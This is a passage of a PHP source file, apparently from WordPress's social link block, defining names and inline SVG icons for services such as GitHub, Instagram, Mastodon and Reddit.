c0.3,0.5,0.8,0.8,1.3,1.1c0.5,0.3,1.1,0.4,1.9,0.4C12.7,14.5,13.3,14.4,13.8,14.1z"></path></svg>', ), 'google' => array( 'name' => _x( 'Google', 'social link block variation name' ), 'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M12.02,10.18v3.72v0.01h5.51c-0.26,1.57-1.67,4.22-5.5,4.22c-3.31,0-6.01-2.75-6.01-6.12s2.7-6.12,6.01-6.12 c1.87,0,3.13,0.8,3.85,1.48l2.84-2.76C16.99,2.99,14.73,2,12.03,2c-5.52,0-10,4.48-10,10s4.48,10,10,10c5.77,0,9.6-4.06,9.6-9.77 c0-0.83-0.11-1.42-0.25-2.05H12.02z"></path></svg>', ), 'github' => array( 'name' => _x( 'GitHub', 'social link block variation name' ), 'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M12,2C6.477,2,2,6.477,2,12c0,4.419,2.865,8.166,6.839,9.489c0.5,0.09,0.682-0.218,0.682-0.484 c0-0.236-0.009-0.866-0.014-1.699c-2.782,0.602-3.369-1.34-3.369-1.34c-0.455-1.157-1.11-1.465-1.11-1.465 c-0.909-0.62,0.069-0.608,0.069-0.608c1.004,0.071,1.532,1.03,1.532,1.03c0.891,1.529,2.341,1.089,2.91,0.833 c0.091-0.647,0.349-1.086,0.635-1.337c-2.22-0.251-4.555-1.111-4.555-4.943c0-1.091,0.39-1.984,1.03-2.682 C6.546,8.54,6.202,7.524,6.746,6.148c0,0,0.84-0.269,2.75,1.025C10.295,6.95,11.15,6.84,12,6.836 c0.85,0.004,1.705,0.114,2.504,0.336c1.909-1.294,2.748-1.025,2.748-1.025c0.546,1.376,0.202,2.394,0.1,2.646 c0.64,0.699,1.026,1.591,1.026,2.682c0,3.841-2.337,4.687-4.565,4.935c0.359,0.307,0.679,0.917,0.679,1.852 c0,1.335-0.012,2.415-0.012,2.741c0,0.269,0.18,0.579,0.688,0.481C19.138,20.161,22,16.416,22,12C22,6.477,17.523,2,12,2z"></path></svg>', ), 'gravatar' => array( 'name' => _x( 'Gravatar', 'social link block variation name' ), 'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M10.8001 4.69937V10.6494C10.8001 11.1001 10.9791 11.5323 11.2978 11.851C11.6165 12.1697 12.0487 12.3487 12.4994 12.3487C12.9501 12.3487 13.3824 12.1697 13.7011 11.851C14.0198 11.5323 14.1988 11.1001 14.1988 10.6494V6.69089C15.2418 7.05861 16.1371 7.75537 16.7496 8.67617C17.3622 9.59698 17.6589 10.6919 17.595 11.796C17.5311 12.9001 17.1101 13.9535 16.3954 14.7975C15.6807 15.6415 14.711 16.2303 13.6325 16.4753C12.5541 16.7202 11.4252 16.608 10.4161 16.1555C9.40691 15.703 8.57217 14.9348 8.03763 13.9667C7.50308 12.9985 7.29769 11.8828 7.45242 10.7877C7.60714 9.69266 8.11359 8.67755 8.89545 7.89537C9.20904 7.57521 9.38364 7.14426 9.38132 6.69611C9.37899 6.24797 9.19994 5.81884 8.88305 5.50195C8.56616 5.18506 8.13704 5.00601 7.68889 5.00369C7.24075 5.00137 6.80979 5.17597 6.48964 5.48956C5.09907 6.8801 4.23369 8.7098 4.04094 10.6669C3.84819 12.624 4.34 14.5873 5.43257 16.2224C6.52515 17.8575 8.15088 19.0632 10.0328 19.634C11.9146 20.2049 13.9362 20.1055 15.753 19.3529C17.5699 18.6003 19.0695 17.241 19.9965 15.5066C20.9234 13.7722 21.2203 11.7701 20.8366 9.84133C20.4528 7.91259 19.4122 6.17658 17.892 4.92911C16.3717 3.68163 14.466 2.99987 12.4994 3C12.0487 3 11.6165 3.17904 11.2978 3.49773C10.9791 3.81643 10.8001 4.24867 10.8001 4.69937Z" /></svg>', ), 'instagram' => array( 'name' => _x( 'Instagram', 'social link block variation name' ), 'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M12,4.622c2.403,0,2.688,0.009,3.637,0.052c0.877,0.04,1.354,0.187,1.671,0.31c0.42,0.163,0.72,0.358,1.035,0.673 c0.315,0.315,0.51,0.615,0.673,1.035c0.123,0.317,0.27,0.794,0.31,1.671c0.043,0.949,0.052,1.234,0.052,3.637 s-0.009,2.688-0.052,3.637c-0.04,0.877-0.187,1.354-0.31,1.671c-0.163,0.42-0.358,0.72-0.673,1.035 c-0.315,0.315-0.615,0.51-1.035,0.673c-0.317,0.123-0.794,0.27-1.671,0.31c-0.949,0.043-1.233,0.052-3.637,0.052 s-2.688-0.009-3.637-0.052c-0.877-0.04-1.354-0.187-1.671-0.31c-0.42-0.163-0.72-0.358-1.035-0.673 c-0.315-0.315-0.51-0.615-0.673-1.035c-0.123-0.317-0.27-0.794-0.31-1.671C4.631,14.688,4.622,14.403,4.622,12 s0.009-2.688,0.052-3.637c0.04-0.877,0.187-1.354,0.31-1.671c0.163-0.42,0.358-0.72,0.673-1.035 c0.315-0.315,0.615-0.51,1.035-0.673c0.317-0.123,0.794-0.27,1.671-0.31C9.312,4.631,9.597,4.622,12,4.622 M12,3 C9.556,3,9.249,3.01,8.289,3.054C7.331,3.098,6.677,3.25,6.105,3.472C5.513,3.702,5.011,4.01,4.511,4.511 c-0.5,0.5-0.808,1.002-1.038,1.594C3.25,6.677,3.098,7.331,3.054,8.289C3.01,9.249,3,9.556,3,12c0,2.444,0.01,2.751,0.054,3.711 c0.044,0.958,0.196,1.612,0.418,2.185c0.23,0.592,0.538,1.094,1.038,1.594c0.5,0.5,1.002,0.808,1.594,1.038 c0.572,0.222,1.227,0.375,2.185,0.418C9.249,20.99,9.556,21,12,21s2.751-0.01,3.711-0.054c0.958-0.044,1.612-0.196,2.185-0.418 c0.592-0.23,1.094-0.538,1.594-1.038c0.5-0.5,0.808-1.002,1.038-1.594c0.222-0.572,0.375-1.227,0.418-2.185 C20.99,14.751,21,14.444,21,12s-0.01-2.751-0.054-3.711c-0.044-0.958-0.196-1.612-0.418-2.185c-0.23-0.592-0.538-1.094-1.038-1.594 c-0.5-0.5-1.002-0.808-1.594-1.038c-0.572-0.222-1.227-0.375-2.185-0.418C14.751,3.01,14.444,3,12,3L12,3z M12,7.378 c-2.552,0-4.622,2.069-4.622,4.622S9.448,16.622,12,16.622s4.622-2.069,4.622-4.622S14.552,7.378,12,7.378z M12,15 c-1.657,0-3-1.343-3-3s1.343-3,3-3s3,1.343,3,3S13.657,15,12,15z M16.804,6.116c-0.596,0-1.08,0.484-1.08,1.08 s0.484,1.08,1.08,1.08c0.596,0,1.08-0.484,1.08-1.08S17.401,6.116,16.804,6.116z"></path></svg>', ), 'lastfm' => array( 'name' => _x( 'Last.fm', 'social link block variation name' ), 'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M10.5002,0 C4.7006,0 0,4.70109753 0,10.4998496 C0,16.2989526 4.7006,21 10.5002,21 C16.299,21 21,16.2989526 21,10.4998496 C21,4.70109753 16.299,0 10.5002,0 Z M14.69735,14.7204413 C13.3164,14.7151781 12.4346,14.0870017 11.83445,12.6859357 L11.6816001,12.3451305 L10.35405,9.31011397 C9.92709997,8.26875064 8.85260001,7.57120012 7.68010001,7.57120012 C6.06945001,7.57120012 4.75925001,8.88509738 4.75925001,10.5009524 C4.75925001,12.1164565 6.06945001,13.4303036 7.68010001,13.4303036 C8.77200001,13.4303036 9.76514999,12.827541 10.2719501,11.8567047 C10.2893,11.8235214 10.3239,11.8019673 10.36305,11.8038219 C10.4007,11.8053759 10.43535,11.8287847 10.4504,11.8631709 L10.98655,13.1045863 C11.0016,13.1389726 10.9956,13.17782 10.97225,13.2068931 C10.1605001,14.1995341 8.96020001,14.7683115 7.68010001,14.7683115 C5.33305,14.7683115 3.42340001,12.8535563 3.42340001,10.5009524 C3.42340001,8.14679459 5.33300001,6.23203946 7.68010001,6.23203946 C9.45720002,6.23203946 10.8909,7.19074535 11.6138,8.86359341 C11.6205501,8.88018505 12.3412,10.5707777 12.97445,12.0190621 C13.34865,12.8739575 13.64615,13.3959676 14.6288,13.4291508 C15.5663001,13.4612814 16.25375,12.9121534 16.25375,12.1484869 C16.25375,11.4691321 15.8320501,11.3003585 14.8803,10.98216 C13.2365,10.4397989 12.34495,9.88605929 12.34495,8.51817658 C12.34495,7.1809207 13.26665,6.31615054 14.692,6.31615054 C15.62875,6.31615054 16.3155,6.7286858 16.79215,7.5768142 C16.80495,7.60062396 16.8079001,7.62814302 16.8004001,7.65420843 C16.7929,7.68027384 16.7748,7.70212868 16.7507001,7.713808 L15.86145,8.16900031 C15.8178001,8.19200805 15.7643,8.17807308 15.73565,8.13847371 C15.43295,7.71345711 15.0956,7.52513451 14.6423,7.52513451 C14.05125,7.52513451 13.6220001,7.92899802 13.6220001,8.48649708 C13.6220001,9.17382194 14.1529001,9.34144259 15.0339,9.61923972 C15.14915,9.65578139 15.26955,9.69397731 15.39385,9.73432853 C16.7763,10.1865133 17.57675,10.7311301 17.57675,12.1836251 C17.57685,13.629654 16.3389,14.7204413 14.69735,14.7204413 Z"></path></svg>', ), 'linkedin' => array( 'name' => _x( 'LinkedIn', 'social link block variation name' ), 'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M19.7,3H4.3C3.582,3,3,3.582,3,4.3v15.4C3,20.418,3.582,21,4.3,21h15.4c0.718,0,1.3-0.582,1.3-1.3V4.3 C21,3.582,20.418,3,19.7,3z M8.339,18.338H5.667v-8.59h2.672V18.338z M7.004,8.574c-0.857,0-1.549-0.694-1.549-1.548 c0-0.855,0.691-1.548,1.549-1.548c0.854,0,1.547,0.694,1.547,1.548C8.551,7.881,7.858,8.574,7.004,8.574z M18.339,18.338h-2.669 v-4.177c0-0.996-0.017-2.278-1.387-2.278c-1.389,0-1.601,1.086-1.601,2.206v4.249h-2.667v-8.59h2.559v1.174h0.037 c0.356-0.675,1.227-1.387,2.526-1.387c2.703,0,3.203,1.779,3.203,4.092V18.338z"></path></svg>', ), 'mail' => array( 'name' => _x( 'Mail', 'social link block variation name' ), 'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M19,5H5c-1.1,0-2,.9-2,2v10c0,1.1.9,2,2,2h14c1.1,0,2-.9,2-2V7c0-1.1-.9-2-2-2zm.5,12c0,.3-.2.5-.5.5H5c-.3,0-.5-.2-.5-.5V9.8l7.5,5.6,7.5-5.6V17zm0-9.1L12,13.6,4.5,7.9V7c0-.3.2-.5.5-.5h14c.3,0,.5.2.5.5v.9z"></path></svg>', ), 'mastodon' => array( 'name' => _x( 'Mastodon', 'social link block variation name' ), 'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M23.193 7.879c0-5.206-3.411-6.732-3.411-6.732C18.062.357 15.108.025 12.041 0h-.076c-3.068.025-6.02.357-7.74 1.147 0 0-3.411 1.526-3.411 6.732 0 1.192-.023 2.618.015 4.129.124 5.092.934 10.109 5.641 11.355 2.17.574 4.034.695 5.535.612 2.722-.15 4.25-.972 4.25-.972l-.09-1.975s-1.945.613-4.129.539c-2.165-.074-4.449-.233-4.799-2.891a5.499 5.499 0 0 1-.048-.745s2.125.52 4.817.643c1.646.075 3.19-.097 4.758-.283 3.007-.359 5.625-2.212 5.954-3.905.517-2.665.475-6.507.475-6.507zm-4.024 6.709h-2.497V8.469c0-1.29-.543-1.944-1.628-1.944-1.2 0-1.802.776-1.802 2.312v3.349h-2.483v-3.35c0-1.536-.602-2.312-1.802-2.312-1.085 0-1.628.655-1.628 1.944v6.119H4.832V8.284c0-1.289.328-2.313.987-3.07.68-.758 1.569-1.146 2.674-1.146 1.278 0 2.246.491 2.886 1.474L12 6.585l.622-1.043c.64-.983 1.608-1.474 2.886-1.474 1.104 0 1.994.388 2.674 1.146.658.757.986 1.781.986 3.07v6.304z"/></svg>', ), 'meetup' => array( 'name' => _x( 'Meetup', 'social link block variation name' ), 'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M19.24775,14.722a3.57032,3.57032,0,0,1-2.94457,3.52073,3.61886,3.61886,0,0,1-.64652.05634c-.07314-.0008-.10187.02846-.12507.09547A2.38881,2.38881,0,0,1,13.49453,20.094a2.33092,2.33092,0,0,1-1.827-.50716.13635.13635,0,0,0-.19878-.00408,3.191,3.191,0,0,1-2.104.60248,3.26309,3.26309,0,0,1-3.00324-2.71993,2.19076,2.19076,0,0,1-.03512-.30865c-.00156-.08579-.03413-.1189-.11608-.13493a2.86421,2.86421,0,0,1-1.23189-.56111,2.945,2.945,0,0,1-1.166-2.05749,2.97484,2.97484,0,0,1,.87524-2.50774.112.112,0,0,0,.02091-.16107,2.7213,2.7213,0,0,1-.36648-1.48A2.81256,2.81256,0,0,1,6.57673,7.58838a.35764.35764,0,0,0,.28869-.22819,4.2208,4.2208,0,0,1,6.02892-1.90111.25161.25161,0,0,0,.22023.0243,3.65608,3.65608,0,0,1,3.76031.90678A3.57244,3.57244,0,0,1,17.95918,8.626a2.97339,2.97339,0,0,1,.01829.57356.10637.10637,0,0,0,.0853.12792,1.97669,1.97669,0,0,1,1.27939,1.33733,2.00266,2.00266,0,0,1-.57112,2.12652c-.05284.05166-.04168.08328-.01173.13489A3.51189,3.51189,0,0,1,19.24775,14.722Zm-6.35959-.27836a1.6984,1.6984,0,0,0,1.14556,1.61113,3.82039,3.82039,0,0,0,1.036.17935,1.46888,1.46888,0,0,0,.73509-.12255.44082.44082,0,0,0,.26057-.44274.45312.45312,0,0,0-.29211-.43375.97191.97191,0,0,0-.20678-.063c-.21326-.03806-.42754-.0701-.63973-.11215a.54787.54787,0,0,1-.50172-.60926,2.75864,2.75864,0,0,1,.1773-.901c.1763-.535.414-1.045.64183-1.55913A12.686,12.686,0,0,0,15.85,10.47863a1.58461,1.58461,0,0,0,.04861-.87208,1.04531,1.04531,0,0,0-.85432-.83981,1.60658,1.60658,0,0,0-1.23654.16594.27593.27593,0,0,1-.36286-.03413c-.085-.0747-.16594-.15379-.24918-.23055a.98682.98682,0,0,0-1.33577-.04933,6.1468,6.1468,0,0,1-.4989.41615.47762.47762,0,0,1-.51535.03566c-.17448-.09307-.35512-.175-.53531-.25665a1.74949,1.74949,0,0,0-.56476-.2016,1.69943,1.69943,0,0,0-1.61654.91787,8.05815,8.05815,0,0,0-.32952.80126c-.45471,1.2557-.82507,2.53825-1.20838,3.81639a1.24151,1.24151,0,0,0,.51532,1.44389,1.42659,1.42659,0,0,0,1.22008.17166,1.09728,1.09728,0,0,0,.66994-.69764c.44145-1.04111.839-2.09989,1.25981-3.14926.11581-.28876.22792-.57874.35078-.86438a.44548.44548,0,0,1,.69189-.19539.50521.50521,0,0,1,.15044.43836,1.75625,1.75625,0,0,1-.14731.50453c-.27379.69219-.55265,1.38236-.82766,2.074a2.0836,2.0836,0,0,0-.14038.42876.50719.50719,0,0,0,.27082.57722.87236.87236,0,0,0,.66145.02739.99137.99137,0,0,0,.53406-.532q.61571-1.20914,1.228-2.42031.28423-.55863.57585-1.1133a.87189.87189,0,0,1,.29055-.35253.34987.34987,0,0,1,.37634-.01265.30291.30291,0,0,1,.12434.31459.56716.56716,0,0,1-.04655.1915c-.05318.12739-.10286.25669-.16183.38156-.34118.71775-.68754,1.43273-1.02568,2.152A2.00213,2.00213,0,0,0,12.88816,14.44366Zm4.78568,5.28972a.88573.88573,0,0,0-1.77139.00465.8857.8857,0,0,0,1.77139-.00465Zm-14.83838-7.296a.84329.84329,0,1,0,.00827-1.68655.8433.8433,0,0,0-.00827,1.68655Zm10.366-9.43673a.83506.83506,0,1,0-.0091,1.67.83505.83505,0,0,0,.0091-1.67Zm6.85014,5.22a.71651.71651,0,0,0-1.433.0093.71656.71656,0,0,0,1.433-.0093ZM5.37528,6.17908A.63823.63823,0,1,0,6.015,5.54483.62292.62292,0,0,0,5.37528,6.17908Zm6.68214,14.80843a.54949.54949,0,1,0-.55052.541A.54556.54556,0,0,0,12.05742,20.98752Zm8.53235-8.49689a.54777.54777,0,0,0-.54027.54023.53327.53327,0,0,0,.532.52293.51548.51548,0,0,0,.53272-.5237A.53187.53187,0,0,0,20.58977,12.49063ZM7.82846,2.4715a.44927.44927,0,1,0,.44484.44766A.43821.43821,0,0,0,7.82846,2.4715Zm13.775,7.60492a.41186.41186,0,0,0-.40065.39623.40178.40178,0,0,0,.40168.40168A.38994.38994,0,0,0,22,10.48172.39946.39946,0,0,0,21.60349,10.07642ZM5.79193,17.96207a.40469.40469,0,0,0-.397-.39646.399.399,0,0,0-.396.405.39234.39234,0,0,0,.39939.389A.39857.39857,0,0,0,5.79193,17.96207Z"></path></svg>', ), 'medium' => array( 'name' => _x( 'Medium', 'social link block variation name' ), 'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M13.2,12c0,3-2.4,5.4-5.3,5.4S2.6,15,2.6,12s2.4-5.4,5.3-5.4S13.2,9,13.2,12 M19.1,12c0,2.8-1.2,5-2.7,5s-2.7-2.3-2.7-5s1.2-5,2.7-5C17.9,7,19.1,9.2,19.1,12 M21.4,12c0,2.5-0.4,4.5-0.9,4.5c-0.5,0-0.9-2-0.9-4.5s0.4-4.5,0.9-4.5C21,7.5,21.4,9.5,21.4,12"></path></svg>', ), 'patreon' => array( 'name' => _x( 'Patreon', 'social link block variation name' ), 'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M20 8.40755C19.9969 6.10922 18.2543 4.22555 16.2097 3.54588C13.6708 2.70188 10.3222 2.82421 7.89775 3.99921C4.95932 5.42355 4.03626 8.54355 4.00186 11.6552C3.97363 14.2136 4.2222 20.9517 7.92225 20.9997C10.6715 21.0356 11.0809 17.3967 12.3529 15.6442C13.258 14.3974 14.4233 14.0452 15.8578 13.6806C18.3233 13.0537 20.0036 11.0551 20 8.40755Z" /></svg>', ), 'pinterest' => array( 'name' => _x( 'Pinterest', 'social link block variation name' ), 'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M12.289,2C6.617,2,3.606,5.648,3.606,9.622c0,1.846,1.025,4.146,2.666,4.878c0.25,0.111,0.381,0.063,0.439-0.169 c0.044-0.175,0.267-1.029,0.365-1.428c0.032-0.128,0.017-0.237-0.091-0.362C6.445,11.911,6.01,10.75,6.01,9.668 c0-2.777,2.194-5.464,5.933-5.464c3.23,0,5.49,2.108,5.49,5.122c0,3.407-1.794,5.768-4.13,5.768c-1.291,0-2.257-1.021-1.948-2.277 c0.372-1.495,1.089-3.112,1.089-4.191c0-0.967-0.542-1.775-1.663-1.775c-1.319,0-2.379,1.309-2.379,3.059 c0,1.115,0.394,1.869,0.394,1.869s-1.302,5.279-1.54,6.261c-0.405,1.666,0.053,4.368,0.094,4.604 c0.021,0.126,0.167,0.169,0.25,0.063c0.129-0.165,1.699-2.419,2.142-4.051c0.158-0.59,0.817-2.995,0.817-2.995 c0.43,0.784,1.681,1.446,3.013,1.446c3.963,0,6.822-3.494,6.822-7.833C20.394,5.112,16.849,2,12.289,2"></path></svg>', ), 'pocket' => array( 'name' => _x( 'Pocket', 'social link block variation name' ), 'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M21.927,4.194C21.667,3.48,20.982,3,20.222,3h-0.01h-1.721H3.839C3.092,3,2.411,3.47,2.145,4.17 C2.066,4.378,2.026,4.594,2.026,4.814v6.035l0.069,1.2c0.29,2.73,1.707,5.115,3.899,6.778c0.039,0.03,0.079,0.059,0.119,0.089 l0.025,0.018c1.175,0.859,2.491,1.441,3.91,1.727c0.655,0.132,1.325,0.2,1.991,0.2c0.615,0,1.232-0.057,1.839-0.17 c0.073-0.014,0.145-0.028,0.219-0.044c0.02-0.004,0.042-0.012,0.064-0.023c1.359-0.297,2.621-0.864,3.753-1.691l0.025-0.018 c0.04-0.029,0.08-0.058,0.119-0.089c2.192-1.664,3.609-4.049,3.898-6.778l0.069-1.2V4.814C22.026,4.605,22,4.398,21.927,4.194z M17.692,10.481l-4.704,4.512c-0.266,0.254-0.608,0.382-0.949,0.382c-0.342,0-0.684-0.128-0.949-0.382l-4.705-4.512 C5.838,9.957,5.82,9.089,6.344,8.542c0.524-0.547,1.392-0.565,1.939-0.04l3.756,3.601l3.755-3.601 c0.547-0.524,1.415-0.506,1.939,0.04C18.256,9.089,18.238,9.956,17.692,10.481z"></path></svg>', ), 'reddit' => array( 'name' => _x( 'Reddit', 'social link block variation name' ), 'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M5.27 9.221A2.775 2.775 0 0 0 2.498 11.993a2.785 2.785 0 0 0 1.6 2.511 5.337 5.337 0 0 0 2.374 4.11 9.386 9.386 0 0 0 5.539 1.7 9.386 9.386 0 0 0 5.541-1.7 5.331 5.331 0 0 0 2.372-4.114 2.787 2.787 0 0 0 1.583-2.5 2.775 2.775 0 0 0-2.772-2.772 2.742 2.742 0 0 0-1.688.574 9.482 9.482 0 0 0-4.637-1.348v-.008a2.349 2.349 0 0 1 2.011-2.316 1.97 1.97 0 0 0 1.926 1.521 1.98 1.98 0 0 0 1.978-1.978 1.98 1.98 0 0 0-1.978-1.978 1.985 1.985 0 0 0-1.938 1.578 3.183 3.183 0 0 0-2.849 3.172v.011a9.463 9.463 0 0 0-4.59 1.35 2.741 2.741 0 0 0-1.688-.574Zm6.736 9.1a3.162 3.162 0 0 1-2.921-1.944.215.215 0 0 1 .014-.2.219.219 0 0 1 .168-.106 27.327 27.327 0 0 1 2.74-.133 27.357 27.357 0 0 1 2.74.133.219.219 0 0 1 .168.106.215.215 0 0 1 .014.2 3.158 3.158 0 0 1-2.921 1.944Zm3.743-3.157a1.265 1.265 0 0 1-1.4-1.371 1.954 1.954 0 0 1 .482-1.442 1.15 1.15 0 0 1 .842-.379 1.7 1.7 0 0 1 1.49 1.777 1.323 1.323 0 0 1-.325 1.015 1.476 1.476 0 0 1-1.089.4Zm-7.485 0a1.476 1.476 0 0 1-1.086-.4 1.323 1.323 0 0 1-.325-1.016 1.7 1.7 0 0 1 1.49-1.777 1.151 1.151 0 0 1 .843.379 1.951 1.951 0 0 1 .481 1.441 1.276 1.276 0 0 1-1.403 1.373Z"></path></svg>', ), 'share' => array( 'name' => _x( 'Share Icon', 'social link block variation name' ), 'icon' => '<svg width="24" height="24" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M9 11.8l6.1-4.5c.1.4.4.7.9.7h2c.6 0 1-.4 1-1V5c0-.6-.4-1-1-1h-2c-.6 0-1 .4-1 1v.4l-6.4 4.8c-.2-.1-.4-.2-.6-.2H6c-.6 0-1 .4-1 1v2c0 .6.4 1 1 1h2c.2 0 .4-.1.6-.2l6.4 4.8v.4c0 .6.4 1 1 1h2c.6 0 1-.4 1-1v-2c0-.6-.4-1-1-1h-2c-.5 0-.8.3-.9.7L9 12.2v-.4z"/></svg>', ), 'skype' => array( 'name' => _x( 'Skype', 'social link block variation name' ), 'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M10.113,2.699c0.033-0.006,0.067-0.013,0.1-0.02c0.033,0.017,0.066,0.033,0.098,0.051L10.113,2.699z M2.72,10.223 c-0.006,0.034-0.011,0.069-0.017,0.103c0.018,0.032,0.033,0.064,0.051,0.095L2.72,10.223z M21.275,13.771 c0.007-0.035,0.011-0.071,0.018-0.106c-0.018-0.031-0.033-0.064-0.052-0.095L21.275,13.771z M13.563,21.199 c0.032,0.019,0.065,0.035,0.096,0.053c0.036-0.006,0.071-0.011,0.105-0.017L13.563,21.199z M22,16.386 c0,1.494-0.581,2.898-1.637,3.953c-1.056,1.057-2.459,1.637-3.953,1.637c-0.967,0-1.914-0.251-2.75-0.725 c0.036-0.006,0.071-0.011,0.105-0.017l-0.202-0.035c0.032,0.019,0.065,0.035,0.096,0.053c-0.543,0.096-1.099,0.147-1.654,0.147 c-1.275,0-2.512-0.25-3.676-0.743c-1.125-0.474-2.135-1.156-3.002-2.023c-0.867-0.867-1.548-1.877-2.023-3.002 c-0.493-1.164-0.743-2.401-0.743-3.676c0-0.546,0.049-1.093,0.142-1.628c0.018,0.032,0.033,0.064,0.051,0.095L2.72,10.223 c-0.006,0.034-0.011,0.069-0.017,0.103C2.244,9.5,2,8.566,2,7.615c0-1.493,0.582-2.898,1.637-3.953 c1.056-1.056,2.46-1.638,3.953-1.638c0.915,0,1.818,0.228,2.622,0.655c-0.033,0.007-0.067,0.013-0.1,0.02l0.199,0.031 c-0.032-0.018-0.066-0.034-0.098-0.051c0.002,0,0.003-0.001,0.004-0.001c0.586-0.112,1.187-0.169,1.788-0.169 c1.275,0,2.512,0.249,3.676,0.742c1.124,0.476,2.135,1.156,3.002,2.024c0.868,0.867,1.548,1.877,2.024,3.002 c0.493,1.164,0.743,2.401,0.743,3.676c0,0.575-0.054,1.15-0.157,1.712c-0.018-0.031-0.033-0.064-0.052-0.095l0.034,0.201 c0.007-0.035,0.011-0.071,0.018-0.106C21.754,14.494,22,15.432,22,16.386z M16.817,14.138c0-1.331-0.613-2.743-3.033-3.282 l-2.209-0.49c-0.84-0.192-1.807-0.444-1.807-1.237c0-0.794,0.679-1.348,1.903-1.348c2.468,0,2.243,1.696,3.468,1.696 c0.645,0,1.209-0.379,1.209-1.031c0-1.521-2.435-2.663-4.5-2.663c-2.242,0-4.63,0.952-4.63,3.488c0,1.221,0.436,2.521,2.839,3.123 l2.984,0.745c0.903,0.223,1.129,0.731,1.129,1.189c0,0.762-0.758,1.507-2.129,1.507c-2.679,0-2.307-2.062-3.743-2.062 c-0.645,0-1.113,0.444-1.113,1.078c0,1.236,1.501,2.886,4.856,2.886C15.236,17.737,16.817,16.199,16.817,14.138z"></path></svg>', ), 'snapchat' => array( 'name' => _x( 'Snapchat', 'social link block variation name' ), 'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M12.065,2a5.526,5.526,0,0,1,3.132.892A5.854,5.854,0,0,1,17.326,5.4a5.821,5.821,0,0,1,.351,2.33q0,.612-.117,2.487a.809.809,0,0,0,.365.091,1.93,1.93,0,0,0,.664-.176,1.93,1.93,0,0,1,.664-.176,1.3,1.3,0,0,1,.729.234.7.7,0,0,1,.351.6.839.839,0,0,1-.41.7,2.732,2.732,0,0,1-.9.41,3.192,3.192,0,0,0-.9.378.728.728,0,0,0-.41.618,1.575,1.575,0,0,0,.156.56,6.9,6.9,0,0,0,1.334,1.953,5.6,5.6,0,0,0,1.881,1.315,5.875,5.875,0,0,0,1.042.3.42.42,0,0,1,.365.456q0,.911-2.852,1.341a1.379,1.379,0,0,0-.143.507,1.8,1.8,0,0,1-.182.605.451.451,0,0,1-.429.241,5.878,5.878,0,0,1-.807-.085,5.917,5.917,0,0,0-.833-.085,4.217,4.217,0,0,0-.807.065,2.42,2.42,0,0,0-.82.293,6.682,6.682,0,0,0-.755.5q-.351.267-.755.527a3.886,3.886,0,0,1-.989.436A4.471,4.471,0,0,1,11.831,22a4.307,4.307,0,0,1-1.256-.176,3.784,3.784,0,0,1-.976-.436q-.4-.26-.749-.527a6.682,6.682,0,0,0-.755-.5,2.422,2.422,0,0,0-.807-.293,4.432,4.432,0,0,0-.82-.065,5.089,5.089,0,0,0-.853.1,5,5,0,0,1-.762.1.474.474,0,0,1-.456-.241,1.819,1.819,0,0,1-.182-.618,1.411,1.411,0,0,0-.143-.521q-2.852-.429-2.852-1.341a.42.42,0,0,1,.365-.456,5.793,5.793,0,0,0,1.042-.3,5.524,5.524,0,0,0,1.881-1.315,6.789,6.789,0,0,0,1.334-1.953A1.575,1.575,0,0,0,6,12.9a.728.728,0,0,0-.41-.618,3.323,3.323,0,0,0-.9-.384,2.912,2.912,0,0,1-.9-.41.814.814,0,0,1-.41-.684.71.71,0,0,1,.338-.593,1.208,1.208,0,0,1,.716-.241,1.976,1.976,0,0,1,.625.169,2.008,2.008,0,0,0,.69.169.919.919,0,0,0,.416-.091q-.117-1.849-.117-2.474A5.861,5.861,0,0,1,6.385,5.4,5.516,5.516,0,0,1,8.625,2.819,7.075,7.075,0,0,1,12.062,2Z"></path></svg>', ), 'soundcloud' => array( 'name' => _x( 'SoundCloud', 'social link block variation name' ), 'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M8.9,16.1L9,14L8.9,9.5c0-0.1,0-0.1-0.1-0.1c0,0-0.1-0.1-0.1-0.1c-0.1,0-0.1,0-0.1,0.1c0,0-0.1,0.1-0.1,0.1L8.3,14l0.1,2.1 